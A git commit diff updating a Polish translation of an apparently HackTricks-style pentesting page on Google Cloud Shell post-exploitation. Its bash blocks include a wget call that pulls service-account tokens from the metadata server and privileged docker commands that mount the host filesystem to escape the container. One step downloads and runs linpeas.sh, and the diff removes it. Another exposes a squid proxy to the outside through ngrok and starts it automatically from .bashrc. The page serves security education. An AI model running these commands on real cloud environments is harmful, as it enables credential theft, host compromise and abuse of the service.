Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:37:04 +00:00
parent 554c905447
commit 5a0321f81a

View File

@@ -4,46 +4,46 @@
## Cloud Shell
Więcej informacji o Cloud Shell znajdziesz w:
Aby uzyskać więcej informacji o Cloud Shell zobacz:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### Pobiera token użytkownika z metadata
Zwróć uwagę, że Google Cloud Shell działa wewnątrz kontenera — możesz **easily escape to the host** wykonując:
Wystarczy uzyskać dostęp do serwera metadata, aby otrzymać token umożliwiający dostęp jako aktualnie zalogowany użytkownik:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Wcześniej cloud shell działał w kontenerze z dostępem do docker socket hosta. Teraz Google zmieniło architekturę i kontener cloud shell działa w konfiguracji "Docker in a container". Dlatego nawet jeśli możliwe jest użycie docker z cloud shell, nie będziesz w stanie uciec na hosta używając docker socket.
> Zauważ, że wcześniej plik `docker.sock` znajdował się w `/google/host/var/run/docker.sock`, ale teraz został przeniesiony do `/run/docker.sock`.
<details>
<summary>Container escape commands</summary>
<summary>Docker use / Old container escape commands</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
</details>
To nie jest uznawane przez google za vulnerability, ale daje ci szerszy obraz tego, co dzieje się w tym środowisku.
Ponadto zauważ, że z hosta możesz znaleźć service account token:
Co więcej, w przeszłości można było znaleźć token dla service account używanego przez cloud shell VM w metadata server:
<details>
<summary>Uzyskaj service account z metadanych</summary>
<summary>Stary service account z metadata</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
</details>
Z następującymi zakresami:
<details>
<summary>Pobierz zakresy service account</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
```
</details>
Wylistuj metadane przy użyciu LinPEAS:
<details>
<summary>Wylistuj metadane przy użyciu LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
### Użyj jej jako Proxy
Po użyciu [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) z tokenem Service Account **nie wykryto żadnych uprawnień**...
### Użyj go jako Proxy
Jeśli chcesz użyć swojej instancji google cloud shell jako Proxy, musisz uruchomić następujące polecenia (lub wstawić je do pliku .bashrc):
Jeśli chcesz używać swojej instancji google cloud shell jako proxy, musisz wykonać następujące polecenia (lub wstawić je do pliku .bashrc):
<details>
@@ -79,11 +67,11 @@ sudo apt install -y squid
```
</details>
Dla twojej informacji Squid to serwer proxy HTTP. Utwórz plik **squid.conf** z następującymi ustawieniami:
Dla informacji Squid to http proxy server. Utwórz plik **squid.conf** z następującymi ustawieniami:
<details>
<summary>Utwórz plik squid.conf</summary>
<summary>Create squid.conf file</summary>
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
@@ -102,11 +90,11 @@ sudo cp squid.conf /etc/squid
```
</details>
Na koniec uruchom usługę squid:
Na koniec uruchom usługę Squid:
<details>
<summary>Uruchom usługę squid</summary>
<summary>Uruchom usługę Squid</summary>
```bash
sudo service squid start
```
@@ -116,15 +104,15 @@ Użyj ngrok, aby proxy było dostępne z zewnątrz:
<details>
<summary>Udostępnij proxy przez ngrok</summary>
<summary>Wystaw proxy przez ngrok</summary>
```bash
./ngrok tcp 3128
```
</details>
Po uruchomieniu skopiuj adres zaczynający się od tcp://. Jeśli chcesz korzystać z proxy z poziomu przeglądarki, zaleca się usunąć część tcp:// oraz numer portu i wpisać numer portu w polu portu w ustawieniach proxy przeglądarki (squid jest serwerem proxy HTTP).
Po uruchomieniu skopiuj adres tcp://. Jeśli chcesz uruchomić proxy z przeglądarki, zaleca się usunąć część tcp:// oraz numer portu i wpisać port w polu portu w ustawieniach proxy przeglądarki (squid jest serwerem proxy HTTP).
Aby ułatwić użycie przy starcie, plik .bashrc powinien zawierać następujące linie:
Dla wygodniejszego użycia przy uruchomieniu systemu plik .bashrc powinien zawierać następujące linie:
<details>
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
```
</details>
Instrukcje zostały skopiowane z [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Sprawdź tę stronę, aby znaleźć inne szalone pomysły na uruchamianie dowolnego oprogramowania (bazy danych, a nawet Windows) w Cloud Shell.
Instrukcje zostały skopiowane z [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Sprawdź tę stronę, aby znaleźć inne szalone pomysły na uruchamianie wszelkiego rodzaju oprogramowania (databases i nawet windows) w Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}